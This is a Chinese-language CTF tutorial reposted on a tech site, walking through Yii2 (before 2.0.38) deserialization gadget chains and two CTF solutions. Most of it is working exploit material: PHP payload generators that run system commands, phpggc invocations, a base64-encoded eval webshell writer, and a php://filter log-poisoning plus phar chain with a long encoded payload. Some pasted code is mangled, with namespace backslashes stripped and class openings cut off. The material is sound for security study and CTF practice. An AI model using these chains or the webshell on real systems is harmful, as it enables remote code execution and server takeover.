精选几道CTF习题,带你学习yii2框架!

本篇文章带大家了解yii2框架,分享几道ctf习题,通过它们来学习yii2框架,希望对大家有所帮助。

精选几道CTF习题,带你学习yii2框架!

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架

Yii2<2.0.38反序列化

安装:在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本

然后在 yii-basic-app-2.0.37basicconfigweb.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器

yii-basic-app-2.0.37basiccontrollersTestController.php

<?phpnamespace appcontrollers;use yiiwebController;class TestController extends Controller{    public function actionTest($name){        return unserialize($name);    }}

就可以进行测试了

?r=test/test&name=

链一

链的入口在

yii-basic-app-2.0.37basicvendoryiisoftyii2dbBatchQueryResult.php

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }

跟进$this->reset();

public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }

这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了

yii-basic-app-2.0.37basicvendoryiisoftyii2-giisrcGenerator.php

public function __call($method, $attributes)    {        return $this->format($method, $attributes);    }

这里的$methodclose$attributes为空,继续跟进format

public function format($formatter, $arguments = array())    {        return call_user_func_array($this->getFormatter($formatter), $arguments);    }

跟进getFormatter

public function getFormatter($formatter)    {        if (isset($this->formatters[$formatter])) {            return $this->formatters[$formatter];        }

似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空

到这里可以执行phpinfo

_dataReader = $_dataReader;        }    }}namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace {    $a = new FakerGenerator(array('close'=>'phpinfo'));    $b = new yiidbBatchQueryResult($a);    print(urlencode(serialize($b)));}

但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func($this->([a-zA-Z0-9]+), $this->([a-zA-Z0-9]+)

然后找到下面两个都比较好用

yii-basic-app-2.0.37basicvendoryiisoftyii2restIndexAction.phppublic function run()    {        if ($this->checkAccess) {            call_user_func($this->checkAccess, $this->id);        }        return $this->prepareDataProvider();    }yii-basic-app-2.0.37basicvendoryiisoftyii2restCreateAction.phppublic function run(){    if ($this->checkAccess) {        call_user_func($this->checkAccess, $this->id);}

这里的$this->checkAccess$this->id都是我们可控的

所以直接构造就行了

_dataReader = $_dataReader;        }    }}namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace yiirest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;        }    }}namespace {    $c = new yiirestCreateAction('system','whoami');    $b = new FakerGenerator(array('close'=>array($c, 'run')));    $a = new yiidbBatchQueryResult($b);    print(urlencode(serialize($a)));}

1.png

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类

找到yii-basic-app-2.0.37basicvendoryiisoftyii2webDbSession.php

class DbSession extends MultiFieldSession{...public function close()    {        if ($this->getIsActive()) {            // prepare writeCallback fields before session closes            $this->fields = $this->composeFields();

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session{protected function composeFields($id = null, $data = null)    {        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)

这里直接构造即可

_dataReader = $_dataReader;        }    }}namespace yiiweb{    class DbSession{        public $writeCallback;        public function __construct($writeCallback) {            $this->writeCallback = $writeCallback;        }    }}namespace yiirest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;        }    }}namespace {    $c = new yiirestCreateAction('system','whoami');    $b = new yiiwebDbSession(array($c, 'run'));    $a = new yiidbBatchQueryResult($b);    print(urlencode(serialize($a)));}

链三

我们可以在yii2 2.0.38commit看到他加了一个__wakeup

2.png

这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct

yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionextRunProcess.php

public function __destruct()    {        $this->stopProcess();    }

这里继续跟进stopProcess

public function stopProcess()    {        foreach (array_reverse($this->processes) as $process) {            /** @var $process Process  **/            if (!$process->isRunning()) {                continue;            }

这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call

有道小P 有道小P

有道小P,新一代AI全科学习助手,在学习中遇到任何问题都可以问我。

有道小P 64 查看详情 有道小P

后面的利用就和链一相同了

processes[] = $processes;        }    }}namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace yiirest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;        }    }}namespace {    $c = new yiirestCreateAction('system','whoami');    $b = new FakerGenerator(array('isRunning'=>array($c, 'run')));    $a = new CodeceptionExtensionRunProcess($b);    print(urlencode(serialize($a)));}

链四

同样的先找__destruct

yii-basic-app-2.0.37basicvendorswiftmailerswiftmailerlibclassesSwiftKeyCacheDiskKeyCache.php

public function __destruct()    {        foreach ($this->keys as $nsKey => $null) {            $this->clearAll($nsKey);        }    }

这里$nsKey可控,跟进clearAll

public function clearAll($nsKey)    {        if (array_key_exists($nsKey, $this->keys)) {            foreach ($this->keys[$nsKey] as $itemKey => $null) {                $this->clearKey($nsKey, $itemKey);            }            if (is_dir($this->path.'/'.$nsKey)) {                rmdir($this->path.'/'.$nsKey);            }            unset($this->keys[$nsKey]);        }    }

这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString

随便找找就找到了yii-basic-app-2.0.37basicvendorcodeceptioncodeceptionsrcCodeceptionUtilXmlBuilder.php

public function __toString(){    return $this->__dom__->saveXML();}

同样用他去触发__call

path = $path;            $this->keys = $keys;        }    }}namespace CodeceptionUtil{    class XmlBuilder{        protected $__dom__;        public function __construct($__dom__) {            $this->__dom__ = $__dom__;        }    }}namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace yiirest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;        }    }}namespace {    $c = new yiirestCreateAction('system','whoami');    $b = new FakerGenerator(array('saveXML'=>array($c,'run')));    $a = new CodeceptionUtilXmlBuilder($b);    $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));    print(urlencode(serialize($d)));}

3.png

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

4.png

可以使用如下命令快速得到链,-uurl编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

CTF题目

[HMBCTF 2021]framework

把题目附件解压,看到htmlcontrollersSiteController.php

class SiteController extends Controller{    public function actionAbout($message = 'Hello')    {        $data = base64_decode($message);        unserialize($data);    }

这里可以这样传参

?r=site/about&message=

拿链一打了一下,发现一下system等函数被ban

5.png

这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/moddisable,运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容,或许对你有用!!

        'log' => [            'traceLevel' => YII_DEBUG ? 0 : 0,            'targets' => [                [                    'class' => 'yiilogFileTarget',                    'levels' => ['error'],                    'logVars' => [],                ],            ],        ],

看到附件的SiteController.php就改了这个地方

public function actionIndex()    {        $file = Yii::$app->request->get('file');        $res = file_get_contents($file);        file_put_contents($file,$res);        return $this->render('index');    }

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": {        "php": ">=5.6.0",        "yiisoft/yii2": "~2.0.14",        "yiisoft/yii2-bootstrap": "~2.0.0",        "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",    "monolog/monolog":"1.19"    },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

写入日志,注意最后面要加个字符a

/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a

保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt

6.png

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

相关文章教程推荐:《yii框架教程》

以上就是精选几道CTF习题,带你学习yii2框架!的详细内容,更多请关注创想鸟其它相关文章!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/479860.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2025年11月8日 10:48:19
下一篇 2025年11月8日 10:49:57

相关推荐

  • yii2与laravel框架的比较

    一、从开发速度方面比较 yii 借助于gii脚手架,可以快速生成代码,也就是说搭建一个可以增删改查的系统可能一行代码都不用写,而且集成了jquery和bootstrap,特效和样式基本也不需要写了。这对于设计和审美能力普遍较差的后端程序员来说简直是一大福利。 而laravel的artisan工具和y…

    2025年11月27日 PHP框架
    100
  • composer如何更新yii2版本

    composer如何更新yii2版本 方法包括两种: 1).如果你是通过 composer 从 Yii 2.0.0 升级,只需要在您的项目根目录运行以下命令: 首先,确认您安装了最新版本的 Composer 资源插件(https://github.com/francoispluchino/compo…

    2025年11月27日 PHP框架
    000
  • yii2如何打开gii

    yii2打开gii的方法:首先检查“config/web.php”文件中的配置代码;然后打开“web/index.php”文件;最后将“YII_ENV_DEV”设为“true”即可。 yii2 gii开启 gii模块可以通过配置yiibaseApplication::modules属性开启它。在co…

    2025年11月25日 PHP框架
    000
  • Yii2错误处理怎么配置_Yii2框架错误与异常处理机制

    Yii2通过ErrorHandler组件统一处理错误与异常,配置errorAction指向site/error动作以显示友好页面,结合YII_DEBUG与YII_ENV区分环境,生产环境关闭调试信息并记录日志,可自定义ErrorHandler类处理特定异常,提升安全性与可维护性。 Yii2 的错误与…

    2025年11月25日 后端开发
    000
  • yii2的优势在哪儿

    %ignore_a_1%容易学习和使用。   (推荐学习:yii教程) 只需要知道PHP和面向对象编程,便可以很快上手,而不必事先去学习一种新的架构或者模板语言。 用yii2的开发速度非常之快,除框架本身之外,需要为应用所写的编码极少。造就了yii2是最高效的开发框架之一。 yii2 具有高度的可重…

    2025年11月22日
    000
  • yii2如何实现国际化

    国际化指的是在设计软件时,使其可以无需做大的改变就能够适应不同的语言和地区的需要, 这对我们的网站有着特别重要的意义,因为潜在的用户可能会在全球范围内。而 yii 提供的国际化功能(i18n组件)支持全方位信息翻译,视图翻译,日期和数字格式化。 因为有国际化服务这样方便的设置,当我们需要实现一个网站…

    2025年11月22日
    000
  • yii2如何关闭debug

    这里采用的是yii2的advanced的版本。配置接口访问的debug模式。 配置文件目录: frontend/config/main-local.php           (推荐学习:yii教程) 配置内容: if (!YII_ENV_TEST) { // configuration adjus…

    2025年11月22日
    000
  • yii2怎么进行http请求处理

    VerbFilter VerbFilter 是针对 HTTP 请求方式的过滤器,作用是定义访问指定动作所允许的HTTP请求,若不允许的HTTP请求到来,则会抛出一个 HTTP 405 错误。若不指定允许的请求方式,则默认允许当所有类型的请求方式 。         (推荐学习:yii教程) 接下来,…

    2025年11月22日
    000
  • yii2判断是否是post提交表单

    %ign%ignore_a_1%re_a_1%判断是否是post提交表单 判断post提交 if(Yii::$app->request->isPost){ return true; }else{ return false; } 判断get提交 if(Yii::$app->reque…

    2025年11月22日
    000
  • yii2您提交的数据无法被验证怎么解决

    %ign%ignore_a_1%re_a_1%您提交的数据无法被验证怎么解决 在 yii 中,经常会碰到 您提交的数据无法被验证 这种情况,这是因为 yii 有一个 csrf 验证, 关闭csrf验证 a)在控制器中添加 public $enableCsrfValidation = false; b…

    2025年11月22日
    000
  • yii2计划任务不成功怎么解决

    %ign%ignore_a_1%re_a_1%计划任务不成功怎么解决 用Yii2的console写了个脚本,在命令行执行都OK。放到cron里面也按时去执行了,但就是执行的效果不对,console脚本执行结果不对。 查看之后的是由于yii脚本的php路径问题(根目录下面的yii) 需要将以下代码的第…

    2025年11月22日
    000
  • yii2关闭错误提示

    %ign%ignore_a_1%re_a_1%关闭错误提示 在 Yii2 使用中,我们发现一但程序出现错误,Yii2 就能自动显示其专用的错误提示界面,和我们写原生态时出现的错误提示界面完全不一样。 其实 PHP 有自己专用的错误处理 API, 当程序出现问题时,可以自动调用指定函数。而 Yii2 …

    2025年11月22日
    000
  • YII2中andWhere如何多个or查询

    %ign%ign%ignore_a_1%re_a_1%e_a_1%中andwhere如何多个or查询 使用多个or的复杂查询: AND ((`name`=’张三’) OR (`name`=’李四’) OR (`name`=’王五’)) // AND ((`name`=’张三’) OR (`name`…

    2025年11月22日
    000
  • yii2页面乱码解决方法

    %ignore_a_1%页面乱码解决方法: 在数据库配置中配置编码格式就可以了: ‘yiidbConnection’, ‘dsn’ => ‘mysql:host=127.0.0.1; dbname=ohmycto; charset=utf8’, ‘username’ => ‘websit…

    2025年11月21日
    300
  • yii2 怎么上传图片

    第一步:搭建上传类基础工作,具体请看:http://www.yiichina.com/tutorial/328 第二步:建站一个product表,字段id,name,picurl. 第三步:GII生成PRODUCT 模型,类,视图。 第四步: main.css 放在frontendwebcss.on…

    2025年11月21日
    000
  • yii1和yii2的区别是什么

    2.0 版框架是完全重写的,在 1.1 和 2.0 两个版本之间存在相当多差异。 Yii 2.0 需要 PHP 5.4 或更高版本,该版本相对于 Yii 1.1 所需求的 PHP 5.2 而言有巨大的改进。 1、应用程序实例直接使用全局命名变量来访问:$app,而无须调用app()。 2、Yii2在…

    2025年11月21日
    000
  • yii2 用户登录用什么缓存

    面对一些需要耗时计算的短时间内不会变动太大的数据,常常使用缓存 【DataCache】 在配置文件main.php中components项下配置 ‘cache’ => [ ‘class’ => ‘yiicaching’FileCache’,], Yii::$app->cache-&…

    2025年11月21日
    000
  • yii2怎么样生成验证码

    1、在控制器添加一下代码 public function actionCaptcha(){ $c = Yii::createObject(‘yiicaptchaCaptchaAction’, [‘__captcha’, $this]); $c->getVerifyCode(true); ret…

    2025年11月21日
    000
  • yii2框架怎么写子查询

    在yii中使用子查询的方法 第一步,先创建一个子查询,可以是基于 yiidbQuery 创建,也可以基于Model。 $subQuery = Order::find()->where([‘user_id’ => $userId])->andWhere([‘status’ =>…

    2025年11月21日
    000
  • yii2怎么获取sql语句?

    yii2 是一个高性能的基于组件的 php 框架,使用yii2能够方便的操作数据库,下面我们介绍下yii2获取当前sql语句的方法,希望对学习yii框架的同学有帮助! yii2怎么获取sql语句? 我们在用YII2开发项目的时候,会查看当前执行的SQL语句来排查错误,那么YII2该如何获取当前的SQ…

    2025年11月20日
    100

发表回复

登录后才能评论
关注微信